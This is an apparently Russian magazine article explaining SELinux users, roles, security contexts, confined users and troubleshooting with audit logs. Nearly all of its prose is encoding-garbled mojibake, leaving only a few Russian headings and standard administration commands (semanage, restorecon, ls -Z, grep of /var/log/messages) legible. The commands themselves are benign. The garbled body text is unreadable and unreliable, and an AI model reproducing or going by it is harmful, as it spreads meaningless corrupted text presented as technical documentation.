²ÁÍÏ ÒÏÂÏÊ ÑÁÈÔÍÆÆÓÒà, ØÓÏ SELinux ÎÆ ÒÍÏÄ ÂÜ ÓÁË ÑÁÅÏÃÁÓÝ ÃÏÆÎÎÜÖ, 
ÆÒÌÉ ÂÜ Ã ÆÄÏ ÏÒÎÏÃÆ ÌÆÇÁÌÉ ÓÏÌÝËÏ ÍÆÓËÉ, ÏÐÑÆÅÆÌàßÚÉÆ ËÏÎÓÆËÒÓ 
ÂÆÈÏÐÁÒÎÏÒÓÉ, É ÍÆÖÁÎÉÈÍ ÑÁÈÅÆÌÆÎÉà ÅÏÒÓÔÐÁ ÎÁ ÉÖ ÏÒÎÏÃÆ (ËÒÓÁÓÉ, ÞÓÏ 
ÎÁÈÜÃÁÆÓÒà «ÍÁÎÅÁÓÎÜÍ ÔÐÑÁÃÌÆÎÉÆÍ ÅÏÒÓÔÐÏÍ», É ÍÎÏÄÉÆ ÏÙÉÂÏØÎÏ 
ÐÑÉÐÉÒÜÃÁßÓ ÆÄÏ SELinux). ©È-ÈÁ ÒÃÏÆÊ ÎÉÈËÏÔÑÏÃÎÆÃÏÒÓÉ ÓÁËÁà ÒÉÒÓÆ-
ÍÁ ÂÆÈÏÐÁÒÎÏÒÓÉ ÂÜÌÁ ÂÜ ÒÌÉÙËÏÍ ÒÌÏÇÎÏÊ Ã ÔÐÑÁÃÌÆÎÉÉ É ÎÆÄÉÂËÏÊ, 
ÐÏÞÓÏÍÔ ÒÏÈÅÁÓÆÌÉ SELinux ÒÎÁÂÅÉÌÉ ÆÆ ÆÚÆ ÏÅÎÉÍ ÔÑÏÃÎÆÍ ÅÏÒÓÔÐÁ, 
ÉÍÆÎÔÆÍÜÍ «ÑÏÌàÍÉ».
«ÏÄÅÁ ÍÜ ÄÏÃÏÑÉÌÉ Ï ÍÆÓËÁÖ SELinux, à ÎÁÍÆÑÆÎÎÏ ÔÐÔÒÓÉÌ ÉÈ ÃÉÅÔ ÏÅÎÔ 
ÃÁÇÎÔß ÅÆÓÁÌÝ. ®Á ÒÁÍÏÍ ÅÆÌÆ ËÏÎÓÆËÒÓ ÂÆÈÏÐÁÒÎÏÒÓÉ (ÍÆÓËÁ) ÒÏÒÓÏÉÓ ÎÆ 
ÉÈ ÏÅÎÏÄÏ, Á ÉÈ ÓÑÆÖ ËÏÍÐÏÎÆÎÓÏÃ (ÆÒÓÝ ÆÚÆ É ØÆÓÃÆÑÓÜÊ ËÏÍÐÏÎÆÎÓ, ÎÏ 
ÏÂ ÞÓÏÍ ÐÏËÁ ÎÆ ÒÓÏÉÓ ÈÁÅÔÍÜÃÁÓÝÒà): ÉÍÆÎÉ ÐÏÌÝÈÏÃÁÓÆÌà, ÑÏÌÉ É ÓÉÐÁ 
ÒÔÂÛÆËÓÁ (ÓÏÓ ÒÁÍÜÊ ËÏÍÐÏÎÆÎÓ, ËÏÓÏÑÜÊ ÏËÁÎØÉÃÁÆÓÒà ÎÁ «_t»). «ÁÇÅÜÊ 
ÐÏÌÝÈÏÃÁÓÆÌÝ SELinux (ËÏÓÏÑÜÊ ÍÏÇÆÓ ÂÜÓÝ ÒÃàÈÁÎ Ò ÔØÆÓÎÏÊ ÈÁÐÉÒÝß 
ÐÏÌÝÈÏÃÁÓÆÌà Linux, ÎÏ ÏÂÜØÎÏ ÃÒÆ Linux-ÐÏÌÝÈÏÃÁÓÆÌÉ ÏÓÏÂÑÁÇÁßÓÒà Ã 
SELinux-ÐÏÌÝÈÏÃÁÓÆÌà unconfined_u) ÍÏÇÆÓ ÃÜÐÏÌÎàÓÝ ÎÆÒËÏÌÝËÏ ÑÏÌÆÊ, 
Ã ÑÁÍËÁÖ ËÁÇÅÏÊ ÉÈ ËÏÓÏÑÜÖ, ÆÍÔ ÅÏÒÓÔÐÎÜ ÎÆÒËÏÌÝËÏ ÓÉÐÏÃ ÒÔÂÛÆËÓÏÃ, 

«ÑÏÍÆ SELinux-ÐÏÌÝÈÏÃÁÓÆÌà unconfined_u, ËÏÓÏÑÜÊ ÐÏ ÅÆÕÏÌÓÔ 
ÐÑÉÒÃÁÉÃÁÆÓÒà ÃÒÆÍ ßÈÆÑÁÍ ÒÉÒÓÆÍÜ, Ã ×ÆÌÆÃÏÊ ÐÏÌÉÓÉËÆ 
ÓÁËÇÆ ÏÐÉÒÁÎÏ ÎÆÒËÏÌÝËÏ ÎÆÐÑÉÃÉÌÆÄÉÑÏÃÁÎÎÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ, 
ËÏÓÏÑÜÖ ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ ÅÌà ÒÏÈÅÁÎÉà ÄÏÒÓÆÃÜÖ ÔØÆÓÎÜÖ 
ÈÁÐÉÒÆÊ, ÐÑÏ×ÆÒÒÜ ËÏÓÏÑÜÖ ÂÔÅÔÓ ÏØÆÎÝ ÏÄÑÁÎÉØÆÎÜ Ã ÐÑÁÃÁÖ 
(ÃÏÈÍÏÇÎÏÒÓÉ É ÑÁÈÌÉØÉà ÞÓÉÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ ÒÍÏÓÑÉ Ã ÓÁÂÌÉ×Æ 
«¥ÆÕÏÌÓÏÃÜÆ ÐÏÌÝÈÏÃÁÓÆÌÉ SELinux»).
¸ÓÏÂÜ ÒÏÈÅÁÓÝ ÓÁËÏÄÏ ÐÏÌÝÈÏÃÁÓÆÌà, ÅÏÒÓÁÓÏØÎÏ ÃÜÐÏÌÎÉÓÝ 
ÒÌÆÅÔßÚÔß ËÏÍÁÎÅÔ:

# useradd -Z xguest_u ȜȠȳ_ȲțșȤȔ

«ÑÏÍÆ ÞÓÏÄÏ ÍÏÇÎÏ ÒÅÆÌÁÓÝ ÆÄÏ ÅÆÕÏÌÓÏÃÜÍ, ÓÁË ØÓÏ 
ÏÄÑÁÎÉØÆÎÎÜÍÉ ÂÔÅÔÓ ÃÒÆ ÃÎÏÃÝ ÒÏÈÅÁÎÎÜÆ Linux-ßÈÆÑÜ:

# semanage login -m -S targeted -s "xguest_u" -r s0 __
default__

°ÏÒÍÏÓÑÆÓÝ ÒÐÉÒÏË ÓÆËÔÚÉÖ SELinux-ßÈÆÑÏÃ ÍÏÇÎÏ ÓÁË:

# /usr/sbin/semanage login -l

Ограниченные пользователи
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Á ËÁÇÅÜÊ ÒÔÂÛÆËÓ, Ã ÒÃÏß ÏØÆÑÆÅÝ, ÍÏÇÆÓ ÉÍÆÓÝ ÅÏÒÓÔÐ Ë ÎÆËÏÓÏÑÏÍÔ 
ËÏÌÉØÆÒÓÃÔ ÏÂÛÆËÓÏÃ.
«ÁË É ÄÑÔÐÐÜ ÐÏÌÝÈÏÃÁÓÆÌÆÊ Ã ËÌÁÒÒÉØÆÒËÏÊ ÍÏÅÆÌÉ ÔÐÑÁÃÌÆÎÉà ÅÏÒÓÔ-
ÐÏÍ UNIX, ÑÏÌÉ ÉÒÐÏÌÝÈÔßÓÒà ÅÌà ÎÁÅÆÌÆÎÉà ÐÑÏ×ÆÒÒÏÃ ÐÏÌÝÈÏÃÁÓÆÌà 
ÑÁÈÎÜÍÉ ÃÉÅÁÍÉ ÐÏÌÎÏÍÏØÉÊ. ̄ ÅÎÁËÏ, ÕÁËÓÉØÆÒËÉ ÏÎÉ ÎÔÇÎÜ ÓÏÌÝËÏ 
ÅÌà ÓÏÄÏ, ØÓÏÂÜ ÓÏÎËÏ ÑÆÄÔÌÉÑÏÃÁÓÝ ÅÏÒÓÔÐ ÐÏÌÝÈÏÃÁÓÆÌÆÊ Ë ÅÁÎÎÜÍ, 
ÓÏ ÆÒÓÝ ÐÑÉ ÒÏÐÑÏÃÏÇÅÆÎÉÉ ËÏÍÐÝßÓÆÑÎÏÊ ÉÎÕÑÁÒÓÑÔËÓÔÑÜ ÂÏÌÝÙÉÖ 
ÐÑÆÅÐÑÉàÓÉÊ, ÒÏÓÑÔÅÎÉËÉ ËÏÓÏÑÜÖ ÍÏÄÔÓ ÉÍÆÓÝ ÑÁÈÎÜÆ ÔÑÏÃÎÉ ÅÏÒÓÔÐÁ 
Ë ÒÆËÑÆÓÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ (ÓÏ ÆÒÓÝ, ÓÆ ÒÁÍÜÆ ÃÏÆÎÎÜÆ É ÄÏÒÔØÑÆÇÅÆÎÉà). 
°ÑÉ ÉÒÐÏÌÝÈÏÃÁÎÉÉ SELinux ÎÁ ÏÂÜØÎÜÖ ÒÆÑÃÆÑÁÖ, ÑÏÌÉ ÎÆ ÉÄÑÁßÓ 
ÂÏÌÝÙÏÊ ÑÏÌÉ (ÐÁÑÁÅÏËÒ, ÅÁ É ÓÏÌÝËÏ). ¬ßÂÏÊ Linux-ÅÉÒÓÑÉÂÔÓÉÃ, ÉÈ ËÏ-
ÑÏÂËÉ ÏÒÎÁÚÆÎÎÜÊ SELinux, ÐÏ ÔÍÏÌØÁÎÉß ÉÒÐÏÌÝÈÔÆÓ ÓÁË ÎÁÈÜÃÁÆÍÔß 
«×ÆÌÆÃÔß ÐÏÌÉÓÉËÔ», ËÏÓÏÑÁà ÐÑÆÅÐÏÌÁÄÁÆÓ ÎÁÌÉØÉÆ ÃÒÆÄÏ ÎÆÒËÏÌÝËÉÖ 
ÏÂÚÉÖ SELinux-ÐÏÌÝÈÏÃÁÓÆÌÆÊ É ÑÏÌÆÊ. ®ÁÐÑÉÍÆÑ, ×ÆÌÆÃÁà ÐÏÌÉÓÉËÁ 
Fedora É RHEL ÏÐÑÆÅÆÌàÆÓ ÓÏÌÝËÏ ÅÃÔÖ ÅÆÕÏÌÓÏÃÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ (ÎÁ 
ÒÁÍÏÍ ÅÆÌÆ, ÆÒÓÝ ÆÚÆ ÎÆÒËÏÌÝËÏ ÒÐÆ×ÉÁÌÝÎÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ, ÎÏ ÏÂÜØÎÏ 
ÏÎÉ ÎÆ ÉÒÐÏÌÝÈÔßÓÒà) É ÅÃÆ ÑÏÌÉ: ÐÏÌÝÈÏÃÁÓÆÌÝ system_u, ÑÏÌÝ system_r 
É ÐÏÌÝÈÏÃÁÓÆÌÝ unconfined_u, ÑÏÌÝ unconfined_r. °ÆÑÃÜÆ ÉÒÐÏÌÝÈÔßÓÒà 
ÅÌà ÈÁÐÔÒËÁ ÒÉÒÓÆÍÎÜÖ ÐÑÏ×ÆÒÒÏÃ ÃÏ ÃÑÆÍà ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ ÒÉÒÓÆÍÜ, É 
Ã ÐÏÌÉÓÉËÆ ØÆÓËÏ ÔËÁÈÁÎÏ, ØÓÏ ÈÁÐÔÒËÁÆÍÜÆ ÐÏÌÝÈÏÃÁÓÆÌÆÍ system_u (ËÏ-
ÓÏÑÜÊ ÉÍÆÆÓ ÑÏÌÝ system_r) ÐÑÉÌÏÇÆÎÉà ÅÏÌÇÎÜ ÐÏÌÔØÁÓÝ ËÏÎËÑÆÓÎÜÊ 
ÓÉÐ ÒÔÂÛÆËÓÁ (ÎÁÐÑÉÍÆÑ, httpd_t), ÏÐÑÆÅÆÌàÆÍÜÊ ÓÉÐÏÍ ÏÂÛÆËÓÁ (ÕÁÊÌÁ), 
ÉÈ ËÏÓÏÑÏÄÏ ÏÎÉ ÈÁÐÔÒËÁßÓÒà (ÎÁÐÑÉÍÆÑ, httpd_exec_t). £ ÉÖ ÏÓÎÏÙÆÎÉÉ 
ÅÆÊÒÓÃÔßÓ ÒÓÑÏÄÉÆ ÐÑÁÃÉÌÁ ÏÄÑÁÎÉØÆÎÉà, Ï ËÏÓÏÑÜÖ ÍÜ ÄÏÃÏÑÉÌÉ Ã 
ÐÑÆÅÜÅÔÚÆÍ ÑÁÈÅÆÌÆ. °ÏÌÝÈÏÃÁÓÆÌÝ unconfined_u É ÑÏÌÝ unconfined_r 
ÐÑÆÅÎÁÈÎÁØÆÎÜ ÅÌà ÏÂÜØÎÜÖ Linux-ÐÏÌÝÈÏÃÁÓÆÌÆÊ. ®Á ÐÏÒÌÆÅÎÆÍ ÞÓÁÐÆ 
ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ ÒÉÒÓÆÍÜ ÈÁÐÔÒËÁÆÓÒà ÍÆÎÆÅÇÆÑ ÃÖÏÅÁ Ã ÒÉÒÓÆÍÔ (ÏÎ 
ÑÁÂÏÓÁÆÓ Ã ÅÏÍÆÎÆ system_u:system_r:login_t), ËÏÓÏÑÜÊ ÐÑÉÎÉÍÁÆÓ ÉÍà 
ÐÏÌÝÈÏÃÁÓÆÌà É ÆÄÏ ÐÁÑÏÌÝ É ÈÁÐÔÒËÁÆÓ ÙÆÌÌ/ÄÑÁÕÉØÆÒËÔß ÏÂÏÌÏØËÔ. ̄ Å-
ÎÁËÏ ÃÍÆÒÓÏ ÓÏÄÏ, ØÓÏÂÜ ÒÏÖÑÁÎÉÓÝ ÓÆËÔÚÉÊ ËÏÎÓÆËÒÓ ÂÆÈÏÐÁÒÎÏÒÓÉ, ÌÉÂÏ 
ÉÈÍÆÎÉÓÝ ÆÄÏ ÎÁ system_u:system_r:shell_t Ã ÒÏÏÓÃÆÓÒÓÃÉÉ Ò ÐÑÁÃÉÌÁÍÉ 
ÐÏÌÉÓÉËÉ SELinux (ÆÒÌÉ ÂÜ ÓÁËÉÆ ÂÜÌÉ), ÏÎ ÏÂÑÁÚÁÆÓÒà Ë PAM-ÍÏÅÔÌß 
pam_selinux, ËÏÓÏÑÜÊ ÒÏÏÂÚÁÆÓ SELinux, ØÓÏ ÈÁÐÔÚÆÎÎÜÊ ÍÆÎÆÅÇÆÑÏÍ 
ÃÖÏÅÁ ÐÑÏ×ÆÒÒ (ÙÆÌÌ ÉÌÉ ÏÂÏÌÏØËÁ) ÅÏÌÇÆÎ ÐÏÌÔØÉÓÝ ËÏÎÓÆËÒÓ unconfine
d_u:unconfined_r:unconfined_t. ²ÍÜÒÌ ÞÓÏÄÏ ÐÆÑÆÖÏÅÁ Ã ÓÏÍ, ØÓÏ ×ÆÌÆÃÁà 
ÐÏÌÉÓÉËÁ SELinux ÉÍÆÆÓ ÐÑÁÃÉÌÁ, ËÏÓÏÑÜÆ ÑÁÈÑÆÙÁßÓ ÐÑÉÌÏÇÆÎÉàÍ, ÑÁ-
ÂÏÓÁßÚÉÍ Ã ÞÓÏÍ ËÏÎÓÆËÒÓÆ, ÅÆÌÁÓÝ ØÓÏ ÔÄÏÅÎÏ, Ã ÓÏÍ ØÉÒÌÆ — ÈÁÐÔÒËÁÓÝ 
ÅÑÔÄÉÆ ÐÑÉÌÏÇÆÎÉà. ̄ ÅÎÁËÏ, ÆÒÌÉ ÐÏÌÝÈÏÃÁÓÆÌÝ ÈÁÐÔÒÓÉÓ ÐÑÉÌÏÇÆÎÉÆ, 
Ã ËÏÎÓÆËÒÓÆ ÂÆÈÏÐÁÒÎÏÒÓÉ ËÏÓÏÑÏÄÏ ÔËÁÈÁÎ SELinux-ÐÏÌÝÈÏÃÁÓÆÌÝ 
system_u É ÓÉÐ, ÅÌà ËÏÓÏÑÏÄÏ Ã ÐÏÌÉÓÉËÆ ÆÒÓÝ ÐÑÁÃÉÌÁ, ÐÑÏ×ÆÒÒÜ ÞÓÏÄÏ 
ÐÑÉÌÏÇÆÎÉà ÂÔÅÔÓ ÏÄÑÁÎÉØÆÎÜ Ã ÐÑÁÃÁÖ ÓÏØÎÏ ÓÁË ÇÆ, ËÁË ÆÒÌÉ ÂÜ ÏÎÉ 
ÂÜÌÉ ÈÁÐÔÚÆÎÜ ÃÏ ÃÑÆÍà ÉÎÉ×ÉÁÌÉÈÁ×ÉÉ.
¦ÒÌÉ ÄÏÃÏÑÉÓÝ Ï ËÏÎÓÆËÒÓÆ ÂÆÈÏÐÁÒÎÏÒÓÉ ÕÁÊÌÏÃ, ÓÏ ÈÅÆÒÝ ÑÏÌÉ ÎÆ ÉÒ-

ÐÏÌÝÈÔßÓÒà Ã ÐÑÉÎ×ÉÐÆ, É ÃÓÏÑÏÆ ÐÏÌÆ ÃÒÆÄÅÁ ÑÁÃÎÏ object_r, Á ÐÆÑÃÏÆ 
ÂÔÅÆÓ ÌÉÂÏ system_u, ÌÉÂÏ unconfined_u, ÆÒÌÉ ÞÓÏ ÕÁÊÌ, ÒÏÈÅÁÎÎÜÊ 
ÐÏÌÝÈÏÃÁÓÆÌÆÍ.
³ÁËÉÍ ÏÂÑÁÈÏÍ, ÍÏÇÎÏ ÒËÁÈÁÓÝ, ØÓÏ ÐÑÉ ÉÒÐÏÌÝÈÏÃÁÎÉÉ ×ÆÌÆÃÏÊ ÐÏ-
ÌÉÓÉËÉ ÈÎÁØÉÍÜÍ ÐÏÌÆÍ ËÏÎÓÆËÒÓÁ ÂÆÈÏÐÁÒÎÏÒÓÉ ÏÒÓÁÆÓÒà ÓÏÌÝËÏ ÓÉÐ 
ÒÔÂÛÆËÓÁ/ÏÂÛÆËÓÁ, ÓÏÄÅÁ ËÁË ÐÏÌà ÐÏÌÝÈÏÃÁÓÆÌÝ É ÑÏÌÝ ÐÑÏÒÓÏ ÏÐÑÆÅÆ-
ÌàßÓ ÏÓÎÏÙÆÎÉÆ SELinux Ë ÐÑÏ×ÆÒÒÔ (ÌÉÂÏ ÏÎ ÎÁÖÏÅÉÓÒà ÐÏÅ ËÏÎÓÑÏÌÆÍ 
ÐÑÁÃÉÌ, ÌÉÂÏ ÎÆÓ).

Работаем с системой
¤ÌÁÃÎÏÆ ÅÏÒÓÏÉÎÒÓÃÏ SELinux Ã ÓÏÍ, ØÓÏ ÏÎ ÁÂÒÏÌßÓÎÏ ÎÆÈÁÍÆÓÆÎ ÅÌà 
ÍÎÏÄÉÖ ÁÅÍÉÎÉÒÓÑÁÓÏÑÏÃ É ÏÂÜØÎÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ. °ÑÉÌÏÇÆÎÉà, ÅÌà 
ËÏÓÏÑÜÖ ÆÒÓÝ ÐÑÁÃÉÌÁ Ã ÐÏÌÉÓÉËÆ, ÂÔÅÔÓ ÁÃÓÏÍÁÓÉØÆÒËÉ ÏÄÑÁÎÉØÆÎÜ Ã 
ÐÑÁÃÁÖ, ÏÒÓÁÌÝÎÜÆ ÐÑÏÄÑÁÍÍÜ ÒÍÏÄÔÓ ÕÔÎË×ÉÏÎÉÑÏÃÁÓÝ ËÁË ÎÉ Ã ØÆÍ ÎÆ 
ÂÜÃÁÌÏ. ̄ ÅÎÁËÏ, ÃÑÆÍà ÏÓ ÃÑÆÍÆÎÉ ÒÉÒÁÅÍÉÎÜ ÎÁÓÜËÁßÓÒà ÎÁ ÎÆËÏÓÏÑÜÆ 
ÐÑÏÂÌÆÍÜ Ã ÑÁÂÏÓÆ ÒÉÒÓÆÍÜ, ËÏÓÏÑÜÆ ÃÜÎÔÇÅÁßÓ ÉÖ ÏÓËÌßØÉÓÝ SELinux. 
£ ÞÓÏÍ ÑÁÈÅÆÌÆ ÍÜ ÑÁÈÂÆÑÆÍÒà ËÁË ÑÆÙÁÓÝ ÞÓÉ ÐÑÏÂÌÆÍÜ Ã ÑÁÍËÁÖ ÃÏÈ-
ÍÏÇÎÏÒÓÆÊ SELinux, ÎÏ ÒÎÁØÁÌÁ à ÅÁÍ ÎÆÒËÏÌÝËÏ ÃÁÇÎÜÖ ÒÏÃÆÓÏÃ.
1. SELinux ÅÏÌÇÆÎ ÂÜÓÝ ÃËÌßØÆÎ. ¤ÌÔÐÏ ÏÓËÌßØÁÓÝ SELinux ÓÏÌÝËÏ ÐÏ-
ÓÏÍÔ, ØÓÏ ÓÁË ÑÆËÏÍÆÎÅÔßÓ ÅÆÌÁÓÝ ÍÎÏÄÉÆ ÒÉÒÁÅÍÉÎÜ É ÐÏÌÝÈÏÃÁÓÆÌÉ. 
±ÁÂÏÓÔ ÙÓÁÓÎÜÖ ÒÆÑÃÉÒÏÃ ÏÎ ÎÁÑÔÙÉÓÝ ÎÆ ÍÏÇÆÓ, Á ÆÒÌÉ ÓÆÂÆ ÎÔÇÎÏ 
ÑÁÒÙÉÑÉÓÝ ÃÏÈÍÏÇÎÏÒÓÉ ËÁËÏÄÏ-ÌÉÂÏ ÐÑÉÌÏÇÆÎÉà, ÞÓÏ ÃÒÆÄÅÁ ÍÏÇÎÏ 
ÒÅÆÌÁÓÝ Ò ÐÏÍÏÚÝß ÉÈÍÆÎÆÎÉà ÍÆÓÁ-ÎÁÒÓÑÏÆË ÉÌÉ ÏÓËÌßØÆÎÉà ÐÑÏÃÆÑÏË 
ÅÌà ÏÐÑÆÅÆÌÆÎÎÏÄÏ ÓÉÐÁ ÒÔÂÛÆËÓÁ (ÐÏÈÇÆ à ÒËÁÇÔ, ËÁË ÞÓÏ ÒÅÆÌÁÓÝ).
2. «-Z» — ÓÃÏÊ ÅÑÔÄ. ¥Á, ÃÒà ÞÓÁ ÃÏÈÎà Ò ËÏÎÓÆËÒÓÁÍÉ ÂÆÈÏÐÁÒÎÏÒÓÉ ÍÏ-
ÇÆÓ ÃÜÃÆÒÓÉ ÉÈ ÒÆÂà. ®Ï ÆÒÓÝ ÍÎÏÇÆÒÓÃÏ ÉÎÒÓÑÔÍÆÎÓÏÃ, ËÏÓÏÑÜÆ ÐÏÈÃÏ-
ÌàßÓ ÃÜàÒÎÉÓÝ ÓÆËÔÚÉÊ ËÏÎÓÆËÒÓ ÂÆÈÏÐÁÒÎÏÒÓÉ ÐÑÏ×ÆÒÒÏÃ É ÕÁÊÌÏÃ:

$ id -Z
$ ps auxZ
$ ls -Z

®ÁÊÓÉ ÕÁÊÌÜ Ò ÎÔÇÎÜÍ ËÏÎÓÆËÒÓÏÍ:

$ fi nd /etc -context '*net_conf_t'

£ÏÒÒÓÁÎÏÃÉÓÝ ÐÑÁÃÉÌÝÎÜÊ ËÏÎÓÆËÒÓ ÕÁÊÌÁ: 

# restorecon -v /usr/sbin/httpd

© ÅÁÇÆ ÔÈÎÁÓÝ, ËÁËÉÍ ÅÏÌÇÆÎ ÂÜÓÝ ËÏÎÓÆËÒÓ ÕÁÊÌÁ É ÒÑÁÃÎÉÓÝ ÆÄÏ Ò 
ÓÆËÔÚÉÍ:

# matchpathcon -V /var/www/html/*

3. ²ËÁÇÉ mv – ÎÆÓ! £Ï ÃÑÆÍà ÔÒÓÁÎÏÃËÉ ÅÉÒÓÑÉÂÔÓÉÃÁ ÃÒÆ ÕÁÊÌÜ ÐÏ-
ÌÔØÁßÓ ÏÐÑÆÅÆÌÆÎÎÜÊ ËÏÎÓÆËÒÓ ÂÆÈÏÐÁÒÎÏÒÓÉ, Á ÃÒÆ ÕÁÊÌÜ, ÒÏÈÅÁÎÎÜÆ Ã 
ÐÑÏ×ÆÒÒÆ ÑÁÂÏÓÜ, — ËÏÎÓÆËÒÓ ÂÆÈÏÐÁÒÎÏÒÓÉ, ÏÐÑÆÅÆÌàÆÍÜÊ ÐÑÁÃÉÌÁÍÉ 
ÎÁ ÏÒÎÏÃÆ ÑÏÅÉÓÆÌÝÒËÏÄÏ ËÁÓÁÌÏÄÁ (ÎÁÐÑÉÍÆÑ, ÆÒÌÉ ÒÏÈÅÁÓÝ ÕÁÊÌ ÃÎÓÔÑÉ 
ËÁÓÁÌÏÄÁ /etc, ÆÄÏ ÓÉÐ ÁÃÓÏÍÁÓÉØÆÒËÉ ÒÓÁÎÆÓ etc_t, Á ÅÌà ÕÁÊÌÏÃ ËÁÓÁÌÏÄÁ 
/var/www/html — httpd_sys_content_t). ̄ ÅÎÁËÏ ÞÓÏ ÑÁÂÏÓÁÆÓ ÓÏÌÝËÏ Ã 
ÏÓÎÏÙÆÎÉÉ ÃÎÏÃÝ ÒÏÈÅÁÎÎÜÖ ÕÁÊÌÏÃ. £Ï ÃÑÆÍà ÐÆÑÆÍÆÚÆÎÉà ÕÁÊÌÁ Ò 
ÐÏÍÏÚÝß mv ÆÄÏ ËÏÎÓÆËÒÓ ÒÏÖÑÁÎàÆÓÒà, ØÓÏ ÍÏÇÆÓ ÐÑÉÃÆÒÓÉ Ë ÏÓËÁÈÔ Ã 
ÅÏÒÓÔÐÆ (ÎÁÐÑÉÍÆÑ, Apache ÎÆ ÒÍÏÇÆÓ ÐÏÌÔØÉÓÝ ÅÏÒÓÔÐ Ë ÕÁÊÌÔ, ÆÒÌÉ ÆÄÏ 
ÓÉÐ ÎÆ httpd_sys_content_t).
4. ÁÎÜ — ÎÁÙÆ ÃÒÆ. £ ÅÉÒÓÑÉÂÔÓÉÃÁÖ Fedora É RHEL ÆÒÓÝ ÂÏÌÝÙÏÆ ËÏ-
ÌÉØÆÒÓÃÏ man-ÒÓÑÁÎÉ×, ËÏÓÏÑÜÆ ÑÁÈÛàÒÎàßÓ ÃÒÆ ÏÄÑÁÎÉØÆÎÉà SELinux 

ps xZ: cписок процессов и их контекстов безопасности

Дефолтовые пользователи SELinux
semanage login -l: cписок имеющихся SELinux-
пользователей
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Ã ÏÓÎÏÙÆÎÉÉ ÒÆÑÃÉÒÏÃ É ÅÆÍÏÎÏÃ. ®ÁÐÑÉÍÆÑ, ÎÁ ÒÓÑÁÎÉ×Æ 
httpd_selinux(8) ÏÐÉÒÁÎÏ, Ã ËÁËÏÍ ËÏÎÓÆËÒÓÆ ÂÆÈÏÐÁÒÎÏÒÓÉ 
ÑÁÂÏÓÁÆÓ Apache, ËÁËÉÆ Ô ÎÆÄÏ ÆÒÓÝ ÐÏÌÎÏÍÏØÉà, ËÁËÉÆ 
ËÏÎÓÆËÒÓÜ ÅÏÌÇÎÜ ÉÍÆÓÝ ÅÏÒÓÔÐÎÜÆ ÆÍÔ ÕÁÊÌÜ. ³ÆÐÆÑÝ 
ÑÁÈÂÆÑÆÍÒà Ò ÓÆÍ, ØÓÏ ÎÔÇÎÏ ÅÆÌÁÓÝ, ËÏÄÅÁ SELinux ÎÁØÉÎÁÆÓ 
ÍÆÙÁÓÝ. ̄ ÂÜØÎÏ ÞÓÏ ÐÑÏÉÒÖÏÅÉÓ ÃÒÌÆÅÒÓÃÉÆ ÓÏÄÏ, ØÓÏ ÁÅÍÉÎ 
ÐÜÓÁÆÓÒà ÃËÌßØÉÓÝ ÏÐÑÆÅÆÌÆÎÎÔß ÕÔÎË×Éß ÒÆÑÃÉÒÁ ÉÌÉ 
ËÁË-ÓÏ ÐÆÑÆÎÁÒÓÑÏÉÓÝ ÆÄÏ, Á SELinux ÎÁØÉÎÁÆÓ ÒÜÐÁÓÝ ÎÁ 
ÞËÑÁÎ ÐÑÆÅÔÐÑÆÇÅÁßÚÉÆ ÒÏÏÂÚÆÎÉà. °ÆÑÃÏÆ, ØÓÏ ÎÔÇÎÏ 
ÒÅÆÌÁÓÝ Ã ÞÓÏÊ ÒÉÓÔÁ×ÉÉ, ÞÓÏ ÐÑÏÃÆÑÉÓÝ ÌÏÄ-ÕÁÊÌÜ. ¤ÌÁÃÎÜÊ 
ÇÔÑÎÁÌÝÎÜÊ ÕÁÊÌ SELinux ÎÏÒÉÓ ÉÍà /var/log/audit/audit.
log. ³ÔÅÁ ÐÏÒÓÔÐÁßÓ «ÎÆÏÂÑÁÂÏÓÁÎÎÜÆ» ÒÏÏÂÚÆÎÉà, ËÏÓÏÑÜÆ 
ÍÏÄÔÓ ÂÜÓÝ ÐÏÌÆÈÎÜ ÅÑÔÄÉÍ ÐÑÉÌÏÇÆÎÉàÍ, ÎÏ ÓÑÔÅÎÜ ÅÌà 
ØÓÆÎÉÉà ØÆÌÏÃÆËÏÍ. °ÏÞÓÏÍÔ ÒÔÚÆÒÓÃÔÆÓ ÃÓÏÑÏÆ ÍÆÒÓÏ, ËÔÅÁ 
ÐÏÒÓÔÐÁßÓ ÓÆ ÇÆ ÒÏÏÂÚÆÎÉà, ÎÏ Ã ÄÏÑÁÈÅÏ ÂÏÌÆÆ ÐÏÎàÓÎÏÍ 
ÕÏÑÍÁÓÆ. ¾ÓÏ ÕÁÊÌ /var/log/messages, Ã ÎÆÍ ÒÏÏÂÚÆÎÉà 
ÍÏÄÔÓ ÃÜÄÌàÅÆÓÝ ÓÁË:

# grep "SELinux is preventing" /var/log/messages
May  7 18:55:56 localhost setroubleshoot: SELinux is
 preventing httpd (httpd_t) "getattr" to /var/www/
html/index.html (home_dir_t). For complete SELinux
 messages. run sealert -l de7e30d6-5488-466d-a606-
92c9f40d316d

¨ÅÆÒÝ ÃÒÆ ÅÏÌÇÎÏ ÂÜÓÝ ÐÏÎàÓÎÏ: SELinux ÈÁÐÑÆÓÉÌ ÒÔÂÛÆËÓÔ 
httpd_t (ÃÆÂ-ÒÆÑÃÆÑ Apache) ÅÏÒÓÔÐ Ë ÕÁÊÌÔ /var/www/html/
index.html ÎÁ ÓÏÍ ÏÒÎÏÃÁÎÉÉ, ØÓÏ ÐÏÒÌÆÅÎÉÊ ÉÍÆÆÓ ÎÆÐÑÁ-
ÃÉÌÝÎÜÊ ÓÉÐ ÏÂÛÆËÓÁ (home_dir_t ÐÑÉÒÃÁÉÃÁÆÓÒà ÕÁÊÌÁÍ, 
ÒÏÈÅÁÎÎÜÍ Ã ÅÏÍÁÙÎÆÍ ËÁÓÁÌÏÄÆ ÐÏÌÝÈÏÃÁÓÆÌà). ¥Ìà ÐÏÌÔ-
ØÆÎÉà ÂÏÌÆÆ ÅÆÓÁÌÝÎÏÊ ÉÎÕÏÑÍÁ×ÉÉ SELinux ÑÆËÏÍÆÎÅÔÆÓ 
ÃÜÐÏÌÎÉÓÝ ËÏÍÁÎÅÔ sealert -l ÂÌÁ-ÂÌÁ-ÂÌÁ. ¾ÓÁ ËÏÍÁÎÅÁ ÃÜ-
